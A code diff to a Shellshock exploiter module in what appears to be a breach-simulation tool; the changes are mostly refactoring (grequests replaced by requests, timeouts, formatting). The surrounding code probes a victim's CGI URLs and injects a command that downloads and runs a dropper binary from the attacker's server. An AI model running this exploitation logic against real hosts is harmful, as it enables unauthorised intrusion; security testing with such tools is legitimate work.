diff --git a/chaos_monkey/exploit/shellshock.py b/chaos_monkey/exploit/shellshock.py index c33dc9c94..69df6abb3 100644 --- a/chaos_monkey/exploit/shellshock.py +++ b/chaos_monkey/exploit/shellshock.py @@ -8,7 +8,7 @@ from exploit import HostExploiter from model.host import VictimHost from shellshock_resources import CGI_FILES from model import MONKEY_ARG -from exploit.tools import get_target_monkey, HTTPTools, report_failed_login +from exploit.tools import get_target_monkey, HTTPTools import requests __author__ = 'danielg' @@ -16,7 +16,7 @@ __author__ = 'danielg' LOG = logging.getLogger(__name__) TIMEOUT = 2 TEST_COMMAND = '/bin/uname -a' -DOWNLOAD_TIMEOUT = 60 # copied from rdpgrinder +DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder class ShellShockExploiter(HostExploiter): @@ -37,7 +37,8 @@ class ShellShockExploiter(HostExploiter): def exploit_host(self, host, depth=-1, src_path=None): assert isinstance(host, VictimHost) # start by picking ports - candidate_services = {service: host.services[service] for service in host.services if host.services[service]['name'] == 'http'} + candidate_services = {service: host.services[service] for service in host.services if + host.services[service]['name'] == 'http'} valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in self.HTTP if 'tcp-' + str(port) in candidate_services] @@ -113,13 +114,14 @@ class ShellShockExploiter(HostExploiter): http_path, dropper_target_path_linux) download = exploit + download_command - self.attack_page(url, header, download) + self.attack_page(url, header, + download) # we ignore failures here since it might take more than TIMEOUT time http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() if (http_thread.downloads != 1) or ( - 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): + 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) continue @@ -138,7 +140,7 @@ class ShellShockExploiter(HostExploiter): self._config.dropper_target_path_linux, host, cmdline) if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)): - LOG.info("Failed running the monkey, log file does not exist") + LOG.info("Log file does not exist, monkey might not have run") continue return True @@ -192,20 +194,16 @@ class ShellShockExploiter(HostExploiter): Checks if which urls exist :return: Sequence of URLs to try and attack """ - import grequests # at this point, it monkey patches half the world and we must stop it + import requests attack_path = 'http://' if is_https: attack_path = 'https://' attack_path = attack_path + str(host) + ":" + str(port) attack_urls = [attack_path + url for url in url_list] - reqs = (grequests.head(u, verify=False, timeout=TIMEOUT) for u in attack_urls) - resps = grequests.map(reqs, size=15) - valid_resps = [resp for resp in resps if resp and resp.status_code == requests.codes.ok] + reqs = [requests.head(u, verify=False, timeout=TIMEOUT) for u in attack_urls] + valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok] urls = [resp.url for resp in valid_resps] - # revert monkey patch - import socket # this is the monkeypatched socket module - reload(socket) return urls @staticmethod diff --git a/chaos_monkey/requirements.txt b/chaos_monkey/requirements.txt index 7992b5242..73660458b 100644 --- a/chaos_monkey/requirements.txt +++ b/chaos_monkey/requirements.txt @@ -12,4 +12,4 @@ psutil PyInstaller ecdsa netifaces -grequests +requests